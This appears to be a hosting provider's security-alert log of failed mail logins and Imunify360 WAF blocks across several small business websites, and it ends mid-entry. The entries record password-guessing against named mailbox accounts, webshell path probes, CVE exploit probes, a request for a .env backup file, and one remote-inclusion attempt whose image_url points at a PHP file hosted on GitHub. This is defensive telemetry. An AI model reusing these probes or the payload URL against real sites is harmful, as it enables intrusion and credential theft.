2026-07-18 16:31:31 dovecot_login authenticator failed for H=([142.54.235.12]) [41.207.248.138]:57707: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.89.199.82
country_id: 6252001
description:
2026-07-18 16:35:28 dovecot_login authenticator failed for H=([27.110.176.222]) [76.89.199.82]:60810: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-18 16:35:06 dovecot_login authenticator failed for H=([149.54.33.150]) [14.38.177.105]:43737: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/metrodigitals/public_html/img||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 20.151.225.23
country_id: 6251999
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.32||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77783317
name: IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)
abuser: 20.151.225.23
country_id: 6251999
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)||MV:/adminer.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 155.229.48.37
country_id: 6252001
domain: www.kallanigroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kallanigroup.com/cache/twojtoolbox/Screenshot_2023-07-18-08-44-26-187_commiuigallery1jpg_size220x160_bgffffff_fs422ba5df9c3b8b12c37a8d601b1123ec_tr2_p0.png HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.53.141.8
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7c1077175 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-18 16:46:54 dovecot_login authenticator failed for H=([49.124.159.191]) [51.162.194.94]:56498: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.217.190
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://lovealba.co.kr/\">\xeb\xa0\x88\xea\xb9\x85\xec\x8a\xa4\xeb\xa3\xb8\xec\x95\x8c\xeb\xb0\x94</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-18 16:50:12 dovecot_login authenticator failed for H=(static.bb.awr.59.90.111.74.bsnl.in) [188.122.37.97]:42542: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.20.70.64
country_id: 1668284
description:
2026-07-18 16:50:25 dovecot_login authenticator failed for H=211-20-70-64.hinet-ip.hinet.net ([121.66.124.147]) [211.20.70.64]:48910: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 195.184.76.42
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-18 16:55:32 dovecot_login authenticator failed for H=([185.81.94.58]) [222.97.195.179]:41512: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-18 16:55:42 dovecot_login authenticator failed for H=([187.58.66.231]) [125.23.155.110]:38464: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.163.169.117
country_id: 1269750
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37589.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:556ade95fe8f86221cd82ea4ff5d35da4695dd35||Title:0x45d0a718||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.88.76.153
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c11141240 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 95.9.212.45
country_id: 298795
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:41378.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:21a4511f2979000287281181fc0bb901e6fbf3fb||Title:0xc0a7f45d||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.182.213
country_id: 298795
description:
2026-07-18 16:59:54 dovecot_plain authenticator failed for H=(aferbanita) [188.59.182.213]:44490: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-18 17:02:25 dovecot_login authenticator failed for H=([177.7.30.146]) [51.116.117.203]:28157: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.154.64.185
country_id: 1168579
description:
2026-07-18 17:02:44 dovecot_login authenticator failed for H=([184.185.2.254]) [103.154.64.185]:53210: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.148
country_id: 1668284
description:
2026-07-18 17:05:36 dovecot_login authenticator failed for H=111-70-29-148.emome-ip.hinet.net ([94.29.38.71]) [111.70.29.148]:45988: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-18 17:05:47 dovecot_login authenticator failed for H=([49.125.201.64]) [117.250.107.180]:42993: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.3.210.204
country_id: 6252001
description:
2026-07-18 17:09:36 dovecot_login authenticator failed for H=160-3-210-204.cpe.sparklight.net (host-217-59-129-131.business.telecomitalia.it) [160.3.210.204]:47523: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.16.65.185
country_id: 2215636
description:
2026-07-18 17:14:17 dovecot_login authenticator failed for H=([49.124.151.60]) [165.16.65.185]:49960: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-18 17:24:29 dovecot_login authenticator failed for H=([49.124.152.30]) [220.77.214.59]:52773: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-18 17:24:08 dovecot_login authenticator failed for H=(201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [218.233.182.39]:13073: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.89.199.82
country_id: 6252001
description:
2026-07-18 17:26:33 dovecot_login authenticator failed for H=([192.252.220.90]) [76.89.199.82]:44572: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.sapijaszko.net/index.php?title=Nh%E1%BB%AFng%20%C4%90i%E1%BB%81u%20C%E1%BA%A7n%20Bi%E1%BA%BFt%20Tr%C6%B0%E1%BB%9Bc%20Khi%20Mua%20Gi%E1%BB%91ng%20C%C3%A0%20Ph%C3%AA\">Xem th\xc3\xaam</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-18 17:26:21 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [203.252.10.3]:51908: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.33.46.18
country_id: 3658394
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/serendipity-arts-festival-in-panjim-goa HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-18 17:43:45 dovecot_login authenticator failed for H=([89.153.52.22]) [103.176.160.146]:42594: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.35.213.41
country_id: 1835841
description:
2026-07-18 17:44:03 dovecot_login authenticator failed for H=([68.225.61.18]) [118.35.213.41]:4677: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 124.217.25.83
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f92968527 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-18 17:43:41 dovecot_login authenticator failed for H=([60.169.120.17]) [182.73.109.194]:39336: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-18 17:45:07 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [218.156.93.206]:53884: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.39
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.39||TA:192.227.131.39||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.40
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.40||TA:192.227.131.40||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-18 17:55:30 dovecot_plain authenticator failed for H=(anies) [182.95.178.174]:43014: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.166.81.12
country_id: 1522867
description:
2026-07-18 17:55:11 dovecot_login authenticator failed for H=([125.19.218.50]) [213.166.81.12]:15056: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.69
country_id: 1733045
description:
2026-07-18 17:55:49 dovecot_login authenticator failed for H=([174.64.199.88]) [49.124.151.69]:45922: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.161
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.161||TA:192.186.151.161||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.162
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.162||TA:192.186.151.162||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 84.17.43.206
country_id: 3017382
domain: ibmcglobal.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.32||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 84.17.43.206
country_id: 3017382
domain: ibmcglobal.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.32||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 115.186.50.135
country_id: 1168579
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://royalxcasinopak.com/\">royal x casino</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: alnayza.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-18 18:04:37 dovecot_login authenticator failed for H=([111.17.213.162]) [122.163.127.14]:59184: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:jaashsupplies||SC:/home/jaashsupplies/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-18 18:04:17 dovecot_login authenticator failed for H=(176.36.103.218.static.netvigator.com) [103.109.13.50]:38774: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-18 18:06:40 dovecot_login authenticator failed for H=([185.94.182.35]) [182.95.106.138]:47894: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-18 18:06:59 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net ([196.188.187.85]) [211.21.243.7]:36728: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-18 18:08:40 dovecot_login authenticator failed for H=([91.211.36.221]) [125.138.166.217]:49118: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/ahsmarine/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.186.153
country_id: 895949
description:
2026-07-18 18:14:43 dovecot_login authenticator failed for H=([185.15.82.135]) [41.60.186.153]:43128: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-18 18:14:22 dovecot_login authenticator failed for H=(211-21-243-7.hinet-ip.hinet.net) [112.161.26.125]:39212: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-18 18:16:22 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net ([91.146.24.164]) [70.184.65.81]:59394: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 202.76.168.187
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/cgi-sys/ea-php82/index.php?add-to-cart=2547||QS:add-to-cart=2547||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.190.167.50
country_id: 1694008
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:51277.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a05d67a8facef3862a5968e2eaee019c99a8e04b||Title:0x5ce826fc||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-18 18:20:41 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [197.219.228.246]:43374: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.107.211
country_id: 2077456
description:
2026-07-18 18:20:54 dovecot_login authenticator failed for H=([185.113.175.27]) [220.240.107.211]:55859: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 195.170.172.102
country_id: 2510769
domain: www.metrodigitals.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:metrodigitals||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.170.172.102
country_id: 2510769
domain: www.metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:195.170.172.102||TA:195.170.172.102||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-18 18:29:39 dovecot_login authenticator failed for H=(199-246-29-85.dyn.estpak.ee) [41.89.128.6]:40084: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-18 18:30:08 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([174.75.211.211]) [89.152.82.108]:44742: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.167
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.167||TA:173.214.176.167||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.168
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.168||TA:173.214.176.168||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.170
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.170||TA:173.214.176.170||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.169
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.169||TA:173.214.176.169||


plugin: modsec
rule: 77350979
abuser: 188.119.26.145
country_id: 298795
domain: yukticlick.com
description:
IM360 WAF: Joomla Page Builder CK unauthenticated file upload - browse.ajaxAddPicture (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.171
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.171||TA:173.214.176.171||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.172
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.172||TA:173.214.176.172||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.144.190.204
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:198.144.190.204||TA:198.144.190.204||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.185.106.112
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5a1363713 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.230.87.222
country_id: 6252001
domain: webmail.kallanigroup.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/json.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.8
country_id: 1733045
description:
2026-07-18 18:43:44 dovecot_login authenticator failed for H=(static-172.84.12.61-tataidc.co.in) [49.124.153.8]:41346: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-18 18:43:28 dovecot_login authenticator failed for H=([200.106.49.149]) [182.95.150.106]:55362: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.230.87.222
country_id: 6252001
domain: webmail.kallanigroup.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-conflg.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 95.181.238.53
country_id: 3572887
domain: www.ahsmarine.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:panscient.com||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.102.244.237
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/home-automation-systems HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.74.104.233
country_id: 1562822
description:
2026-07-18 18:56:27 dovecot_login authenticator failed for H=([110.227.211.82]) [115.74.104.233]:42142: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.94.144
country_id: 1512440
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.165.138
country_id: 3686110
description:
2026-07-18 19:02:34 dovecot_login authenticator failed for H=(starik.Obninsk.ru) [181.54.165.138]:58478: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-18 19:02:22 dovecot_login authenticator failed for H=([174.75.211.198]) [71.12.42.216]:46114: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.155.234.178
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.55.106
country_id: 2661886
description:
2026-07-18 19:07:40 dovecot_login authenticator failed for H=31-208-55-106.cust.bredband2.com ([1.250.67.114]) [31.208.55.106]:44140: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.155.29.36
country_id: 1168579
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:58112.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9927045ceaec92382c7364c24908c2756b56bd8c||Title:0xea237975||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.187
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.187||TA:184.174.46.187||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.184
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.184||TA:184.174.46.184||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.183
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.183||TA:184.174.46.183||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.185
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.185||TA:184.174.46.185||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.106.162.229
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b127518 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.182
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.182||TA:184.174.46.182||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.186
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.186||TA:184.174.46.186||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.188
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.188||TA:184.174.46.188||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.192
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.192||TA:184.174.46.192||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.189
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.189||TA:184.174.46.189||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.190
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.190||TA:184.174.46.190||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.203
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.203||TA:184.174.46.203||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.193
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.193||TA:184.174.46.193||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.198
country_id: 6252001
